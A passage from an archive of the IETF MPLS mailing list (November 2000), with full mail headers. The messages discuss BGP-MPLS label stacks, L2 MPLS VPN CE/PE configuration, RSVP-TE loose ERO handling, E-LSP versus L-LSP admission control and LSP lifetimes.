situations where a border router would like to be able to announce a route (i.e. provide reachability information) without immediately accepting labelled packets along this route and without already accepting labeled packets along this route. The announcement of a route without binding a label to this route would mean that the border router accepts to consider LSP establishment requests with an appropriate signalling protocol (e.g. RSVP-TE or CR-LDP). The decoupling between the announcement of the reachability of a prefix and the acceptance of traffic along the announce route would allow border routers to have a better control on the MPLS traffic flowing through them since the acceptance of labelled packets towards a given prefix would be subject to the establishment of a signalled LSP. In [BGP-MPLS], a label stack is associated with each prefix advertised by a border router. This is done by carrying the label stack inside the Network Layer Reachability Information (NLRI) using SAFI=4. In this case, the NLRI is encoded as one or more triples of the form +---------------------------+ | Length (1 octet) | +---------------------------+ | Label (3 octets) | +---------------------------+ ............................. +---------------------------+ | Prefix (variable) | +---------------------------+ In [BGP-MPLS], the label field is defined as : "b) Label: The Label field carries one or more labels (that corresponds to the stack of labels [MPLS-ENCAPS]). Each label is encoded as 3 octets, where the high-order bit contains "Bottom of Stack" (as defined in [MPLS-ENCAPS]). The following high-order three bits must be zero. The remaining 20 bits contain the label value." It would be very useful to change this text into : "b) Label: The Label field carries zero or more labels. When no label is present, the Label field occupies zero octets. Otherwise, the Label field corresponds to the stack of labels [MPLS-ENCAPS]). In this ase, each label is encoded as 3 octets, where the high-order bit contains "Bottom of Stack" (as defined in [MPLS-ENCAPS]). The following high-order three bits must be zero. The remaining 20 bits contain the label value." The new text would allow a border route to announce that a prefix is reachable by using labelled packets without already binding a label along this route. This allows the reachability information to be decoupled from the acceptance of labelled packets along the announced route. An alternative to this solution could be the utilization of a specific community value meaning that any route annouced with this special community cannot be used to transmit labelled packets and that an LSP must be explicitly established before using this route. In this case, the semantics of a new empty label stack associated with the prefix announcement is questionnable, and I believe that it would be simpler to allow border routers to announce a prefix with BGP-MPLS without being always forced to associate at least one label to this prefix. The proposed modification to the current BGP-MPLS draft is minor. Olivier Bonaventure From owner-mpls@UU.NET Thu Nov 23 09:47:00 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA08343 for ; Thu, 23 Nov 2000 09:47:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoc01841; Thu, 23 Nov 2000 13:42:22 GMT Received: by mail-control.mail.uu.net id QQjqoc25534 for mpls-outgoing; Thu, 23 Nov 2000 13:41:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqoc25529 for ; Thu, 23 Nov 2000 13:41:31 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqoc26147 for ; Thu, 23 Nov 2000 13:40:30 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqoc29019 for ; Thu, 23 Nov 2000 13:40:29 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA25698 for mpls@uu.net; Thu, 23 Nov 2000 08:40:28 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqoc25283 for ; Thu, 23 Nov 2000 13:40:04 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqoc24900 for ; Thu, 23 Nov 2000 13:39:57 GMT Received: from ogma.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjqoc01744 for ; Thu, 23 Nov 2000 13:39:56 GMT Received: from london.cisco.com (london.cisco.com [144.254.32.10]) by ogma.cisco.com (Postfix) with ESMTP id 0DA4113A; Thu, 23 Nov 2000 14:39:56 +0100 (MET) Received: from jguichar-8kcdt.cisco.com (jguichar-isdn-home.cisco.com [10.49.131.222]) by london.cisco.com (8.8.8+Sun/8.8.8) with SMTP id OAA01649; Thu, 23 Nov 2000 14:39:55 +0100 (MET) Message-Id: <200011231339.OAA01649@london.cisco.com> X-Sender: jguichar@london.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Thu, 23 Nov 2000 13:37:44 +0000 To: Juha Heinanen , "Metz, E.T." From: Jim Guichard Subject: Re: FW: ce range in l2 mpls vpns Cc: "'Kireeti Kompella'" , "'mpls@uu.net'" In-Reply-To: <14877.5406.602608.634730@lohi.eng.telia.fi> References: <59063B5B4D98D311BC0D0001FA7E45220316A661@l04.research.kpn.com> <59063B5B4D98D311BC0D0001FA7E45220316A661@l04.research.kpn.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Juha, it seems to me that as the SP part of the picture is MPLS (as opposed to ATM) then the DTE to DCE part of the VC (PE to CE) is essentially unchanged and therefore such mechanisms as lmi and inverse-arp should continue to function as-is. As soon as the PE activates a new dlci, this should be reflected within the lmi and therefore the router (CPE) will signal using inverse-arp for the protocol address at the other end of the VC. If this is not the case then some kind of static frame-relay map would be needed on the CPE ..Jim At 15:01 23/11/2000 +0200, Juha Heinanen wrote: >Metz, E.T. writes: > > > When CE and PE configuration are > > not aligned on this point, the CE may expect to connect to one site on a > > particular circuit, while the PE actually connects it to another one. > >in fr or atm world, the ce learns via lmi or ilmi about new or deleted >labels. then it sends an inarp message along the vc and learns who is >behind that vc and starts to exchange ospf messages with it. the vc >topology doesn't need to be full mesh and still all the vpn members can >share a common ip subnet. > >as long as the ce-pe protocol remains fr or atm and mpls is used only in >the provider network, there should be no changes whatsoever to the above >described ce operation. > >but if the ce-pe protocol is native mpls, then the standard fr or atm >inarp procedure stops working, because (a) mpls vcs are unidirectional >and (b) can be merged. one possibility might be that the destination ce >that receives an inarp request for an unkown source, sends the reply >back to all vcs that are still unknown to it. > >-- juha > Jim Guichard CCIE #2069 Technical Advisory Consultant EMEA Global Solutions Engineering +44 208 756 8806 Mobile: +44 7802 809763 From owner-mpls@UU.NET Thu Nov 23 09:52:30 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA09545 for ; Thu, 23 Nov 2000 09:52:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoh19061; Thu, 23 Nov 2000 14:50:32 GMT Received: by mail-control.mail.uu.net id QQjqoh11763 for mpls-outgoing; Thu, 23 Nov 2000 14:49:59 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqoh11756 for ; Thu, 23 Nov 2000 14:49:44 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqoh13583 for ; Thu, 23 Nov 2000 14:48:53 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjqoh16453 for ; Thu, 23 Nov 2000 14:48:53 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id GAA00739 for ; Thu, 23 Nov 2000 06:48:57 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA24076 for mpls@uu.net; Thu, 23 Nov 2000 09:48:51 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqoc24734 for ; Thu, 23 Nov 2000 13:30:17 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqob01923 for ; Thu, 23 Nov 2000 13:29:51 GMT Received: from localhost by cmr1.ash.ops.us.uu.net with SMTP (peer crosschecked as: nwcst336.netaddress.usa.net [204.68.23.81]) id QQjqob18094 for ; Thu, 23 Nov 2000 13:29:51 GMT Received: (qmail 13266 invoked by uid 60001); 23 Nov 2000 13:29:50 -0000 Message-ID: <20001123132950.13265.qmail@localhost> Received: from 204.68.23.81 by nwcst336 for [194.151.52.201] via web-mailer(34FM.0700.4.03) on Thu Nov 23 13:29:50 GMT 2000 Date: 23 Nov 00 14:29:50 MET From: eduard metz To: jh@lohi.eng.telia.fi, kireeti@juniper.net Subject: FW: ce range in l2 mpls vpns CC: mpls@UU.NET, e.t.metz@kpn.com X-Mailer: USANET web-mailer (34FM.0700.4.03) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA09545 hello juha, you're probably right that no "coordination" between pe and ce is needed (other than ilmi/lmi as you described below) when the network between the ce's can be treated as a single subnet. in this case the configuration effort is really low (which is great). however, there are many situations in which this is not the case. for example: when the network is treated as a collection of point-to-point links (with individual /30s), or when the network is native l2 ... in these cases some alignment / coordination between pe and ce configuration is required. you need to know which circuit is connected to which site to end up with a correct, and working configuration. cheers, eduard (using alternative email) Metz, E.T. writes: >> When CE and PE configuration are >> not aligned on this point, the CE may expect to connect to one site on >> a particular circuit, while the PE actually connects it to another one. > in fr or atm world, the ce learns via lmi or ilmi about new or deleted > labels. then it sends an inarp message along the vc and learns who is > behind that vc and starts to exchange ospf messages with it. the vc > topology doesn't need to be full mesh and still all the vpn members can > share a common ip subnet. ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 From owner-mpls@UU.NET Thu Nov 23 09:52:44 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA09598 for ; Thu, 23 Nov 2000 09:52:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoh09539; Thu, 23 Nov 2000 14:50:41 GMT Received: by mail-control.mail.uu.net id QQjqoh11772 for mpls-outgoing; Thu, 23 Nov 2000 14:50:03 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqoh11758 for ; Thu, 23 Nov 2000 14:49:45 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqoh01945 for ; Thu, 23 Nov 2000 14:48:50 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqoh06699 for ; Thu, 23 Nov 2000 14:48:50 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id GAA27046 for ; Thu, 23 Nov 2000 06:48:50 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA24072 for mpls@uu.net; Thu, 23 Nov 2000 09:48:48 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqnm17781 for ; Thu, 23 Nov 2000 09:31:04 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqnm24196 for ; Thu, 23 Nov 2000 09:30:12 GMT Received: from hotmail.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: oe44.law11.hotmail.com [64.4.16.16]) id QQjqnm00333 for ; Thu, 23 Nov 2000 09:30:12 GMT Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 23 Nov 2000 01:30:11 -0800 X-Originating-IP: [132.146.246.246] Reply-To: "HOTMAIL" From: "HOTMAIL" To: Subject: IGP Requirements for Traffic Engineering with MPLS Date: Thu, 23 Nov 2000 09:30:34 -0000 Organization: my org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0080_01C05530.07C33A40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Message-ID: X-OriginalArrivalTime: 23 Nov 2000 09:30:11.0768 (UTC) FILETIME=[FA4F0380:01C0552F] Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0080_01C05530.07C33A40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, Does anyone know the whereabouts of the above document? I've looked on = the IETF site and can't locate it. Thanks in advance Regards Mobi ------=_NextPart_000_0080_01C05530.07C33A40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
Does anyone know the whereabouts of the = above=20 document? I've looked on the IETF site and can't locate it.
 
Thanks in advance
 
Regards
 
Mobi
 
 
 
------=_NextPart_000_0080_01C05530.07C33A40-- From owner-mpls@UU.NET Thu Nov 23 09:56:09 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10348 for ; Thu, 23 Nov 2000 09:56:09 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoh18664; Thu, 23 Nov 2000 14:49:52 GMT Received: by mail-control.mail.uu.net id QQjqoh11741 for mpls-outgoing; Thu, 23 Nov 2000 14:49:19 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqoh11733 for ; Thu, 23 Nov 2000 14:49:02 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqoh03388 for ; Thu, 23 Nov 2000 14:48:55 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjqoh16507 for ; Thu, 23 Nov 2000 14:48:55 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id GAA00755 for ; Thu, 23 Nov 2000 06:48:59 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA24080 for mpls@uu.net; Thu, 23 Nov 2000 09:48:53 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqoc24963 for ; Thu, 23 Nov 2000 13:31:49 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqoc06358 for ; Thu, 23 Nov 2000 13:31:44 GMT From: venkir@samsung.co.kr Received: from omail01.samsung.co.kr by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjqoc02416 for ; Thu, 23 Nov 2000 13:31:43 GMT Received: from localhost (root@localhost) by law.oes.samsung.net (8.8.8H1/8.8.8) with ESMTP id WAA02600 for ; Thu, 23 Nov 2000 22:29:00 +0900 (KST) X-OpenMail-Hops: 2 Date: Thu, 23 Nov 2000 22:31:34 +0900 Message-Id: Subject: Clarifiaction on processing of ERO object in RSVP-TE MIME-Version: 1.0 TO: mpls@UU.NET Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Thu, 23 Nov 2000 22:21:05 +0900" ;Modification-Date="Thu, 23 Nov 2000 22:30:58 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi, This is regarding processing of ERO object. This is in page no.31 of draft-ietf-mpls-rsvp-lsp-tunnel-07.txt and section 4.3.4.1 In this section, point 5b is not clear. 5b) Otherwise, if the second subobject is a loose subobject, the node selects any next hop that is along the path to the next abstract node. If no path exists, there is an error, and the node SHOULD return a "Bad loose node" error. This is what is there in draft. 5a is about strict ERO. It's fine. But 5b is about loose ERO. I think, it's not completely supporting loose ERO concept. What i'm thinking is, if there is no path exists to second subobject's abstract node and if it is a loose subobject, we node selects next hop that is along the path to the next abstract node. If no path exists, It should try to find out next hop to next abstract node. Like that it has to do for all subobjects in the list. If it is find a next hop to any abstract node, it can stop. If it is not found, then only it can give a error with "Bad loose node". But draft is telling, only after checking with next abstract node, it can give the error. It's not fully supporting loose ERO concept. Isn't it? Here i'm giving an example, which will give u clear idea: |A|-------|B|-------|C|-------|D|------|E| Let us take one LSP like this. Here A,B,C,D,E are abstract nodes. Ans let us assume now processing is going on at B and by that time, ERO is like this |B|C|D|E|. If it is strict, B has to try to find out next hop, which is on the path to C. If it is not there, it has to send "Bad strict node" error. It's fine. But if it is loose, if there is no path to C, it has to try to find out a next hop, on path to D. If it is there, it's fine. If it is not there, it has to try for E. If this one also not there, then only it can give a error like "Bad loose node" b'coz that is the last object. The concept of loose itself is that only. But according to draft, after trying for D, itself it's giving "Bad loose node". In my view, it's not correct. Here, i'm giving my opinion. If i'm not correct, please forgive me and correct me. Suggestions and clarifications on this one, would be greatly appreciated. Thanks in advance Regards, Reddy. From owner-mpls@UU.NET Thu Nov 23 12:57:46 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14019 for ; Thu, 23 Nov 2000 12:57:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqot15088; Thu, 23 Nov 2000 17:56:05 GMT Received: by mail-control.mail.uu.net id QQjqot28372 for mpls-outgoing; Thu, 23 Nov 2000 17:55:34 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqot28367 for ; Thu, 23 Nov 2000 17:55:30 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqot09887 for ; Thu, 23 Nov 2000 17:55:17 GMT Received: from osf1.gmu.edu by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: osf1.gmu.edu [129.174.1.13]) id QQjqot23159 for ; Thu, 23 Nov 2000 17:55:17 GMT Received: from vaio (ppp083.dialup.gmu.edu [129.174.102.97]) by osf1.gmu.edu (8.8.8/8.8.8) with SMTP id MAA17245; Thu, 23 Nov 2000 12:55:14 -0500 (EST) Message-ID: <005701c05576$e00faf00$6166ae81@gmu.edu> From: "Rajiv Papneja" To: "HOTMAIL" Cc: References: Subject: Re: IGP Requirements for Traffic Engineering with MPLS Date: Thu, 23 Nov 2000 12:57:40 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0054_01C0554C.F61DD6C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0054_01C0554C.F61DD6C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, You can find the draft at the following URL. http://www.watersprings.org/links/mlr/id/draft-li-mpls-igp-te-00.txt -Rajiv ----- Original Message -----=20 From: HOTMAIL=20 To: mpls@UU.NET=20 Sent: Thursday, November 23, 2000 4:30 AM Subject: IGP Requirements for Traffic Engineering with MPLS Hi, Does anyone know the whereabouts of the above document? I've looked on = the IETF site and can't locate it. Thanks in advance Regards Mobi ------=_NextPart_000_0054_01C0554C.F61DD6C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
 You can find the draft at the = following=20 URL.
 
  http://www.watersprings.org/links/mlr/id/draft-li-mpls-igp-te-00.txt=
 
 
-Rajiv
----- Original Message -----
From:=20 HOTMAIL
Sent: Thursday, November 23, = 2000 4:30=20 AM
Subject: IGP Requirements for = Traffic=20 Engineering with MPLS

Hi,
 
Does anyone know the whereabouts of = the above=20 document? I've looked on the IETF site and can't locate = it.
 
Thanks in advance
 
Regards
 
Mobi
 
 
 
------=_NextPart_000_0054_01C0554C.F61DD6C0-- From owner-mpls@UU.NET Thu Nov 23 13:25:19 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA22708 for ; Thu, 23 Nov 2000 13:25:18 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqov03757; Thu, 23 Nov 2000 18:23:35 GMT Received: by mail-control.mail.uu.net id QQjqov12015 for mpls-outgoing; Thu, 23 Nov 2000 18:23:17 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqov12010 for ; Thu, 23 Nov 2000 18:23:10 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqov12728 for ; Thu, 23 Nov 2000 18:22:42 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqov20801 for ; Thu, 23 Nov 2000 18:22:41 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id NAA09753 for mpls@uu.net; Thu, 23 Nov 2000 13:22:41 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqov11979 for ; Thu, 23 Nov 2000 18:22:05 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqov10727 for ; Thu, 23 Nov 2000 18:21:50 GMT Received: from procyon.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjqov19601 for ; Thu, 23 Nov 2000 18:21:49 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id KAA29069; Thu, 23 Nov 2000 10:17:33 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Thu, 23 Nov 2000 10:23:58 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A71@BBY1EXM01> From: Shahram Davari To: "'Daniel N. Bauer'" , Simeone Mastropietro Cc: mpls@UU.NET Subject: RE: E-LSP or L-LSP Date: Thu, 23 Nov 2000 10:24:01 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi Daniel, You can do admission control for E-LSP too. But the admission control is done for the aggregate of all supported PHBs in that LSP. Regards, -Shahram > -----Original Message----- > From: Daniel N. Bauer [mailto:dnb@zurich.ibm.com] > Sent: Thursday, November 23, 2000 3:00 AM > To: Simeone Mastropietro > Cc: mpls@UU.NET > Subject: Re: E-LSP or L-LSP > > > Here's one difference that might or might not be important: > > Packets that are carried inside an E-LSP might belong to > different PHB scheduling classes, whereas packets inside > an L-LSP belong to the same PHB scheduling class. > This difference is important in the case where admission control > is required/wanted: For L-LSPs, admission control can be carried > out since the traffic specification in the signaling matches a > single PHB scheduling class. For E-LSPs, this is not true and > consequently, no admission control can be carried out. > > Regards, > > -Daniel > > > Simeone Mastropietro wrote: > > > > Hi All, > > I am a novel researcher on MPLS and TE for Co.Ri.Tel ( > Rome, Italy)... > > Is there anyone that can help me to understand when E-LSPs or L-LSPs > > actually should be used? > > Thanks in advance > > > > Simeone Mastropietro > From owner-mpls@UU.NET Thu Nov 23 14:04:04 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA04985 for ; Thu, 23 Nov 2000 14:04:03 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoy06264; Thu, 23 Nov 2000 19:02:25 GMT Received: by mail-control.mail.uu.net id QQjqoy20739 for mpls-outgoing; Thu, 23 Nov 2000 19:01:53 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqoy20678 for ; Thu, 23 Nov 2000 19:01:39 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqoy11050 for ; Thu, 23 Nov 2000 19:00:50 GMT Received: from mail.hamdard.net.pk by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjqoy14475 for ; Thu, 23 Nov 2000 19:00:49 GMT Received: from faisal-s ([203.135.57.204]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id XAA24130 for ; Thu, 23 Nov 2000 23:59:24 +0500 Message-ID: <000b01c05580$12f07fe0$cc3987cb@faisal-s> From: "Faisal S. Naik" To: "mpls uunet" Subject: LSP life time Date: Fri, 24 Nov 2000 00:03:29 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit What is the lifetime of an LSP? What is the number of tunnels that can be created within an LSP. Regards, --------- Faisal S. Naik Senior Network Engineer, Hamdard Education Network, Hamdard University, Karachi. Ph: (92)-021-4383986-7 From owner-mpls@UU.NET Thu Nov 23 14:22:22 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12440 for ; Thu, 23 Nov 2000 14:22:22 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqoz11794; Thu, 23 Nov 2000 19:20:36 GMT Received: by mail-control.mail.uu.net id QQjqoz27086 for mpls-outgoing; Thu, 23 Nov 2000 19:20:18 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqoz27081 for ; Thu, 23 Nov 2000 19:20:09 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqoz22518 for ; Thu, 23 Nov 2000 19:19:15 GMT Received: from zrtps06s.us.nortel.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [47.140.48.50]) id QQjqoz10561 for ; Thu, 23 Nov 2000 19:19:01 GMT Received: from zcard00n.ca.nortel.com by zrtps06s.us.nortel.com; Thu, 23 Nov 2000 11:28:46 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id XNFMTQMW; Thu, 23 Nov 2000 11:25:21 -0500 Received: from americasm01.nt.com (bcarsf1d.ca.nortel.com [47.14.99.74]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id 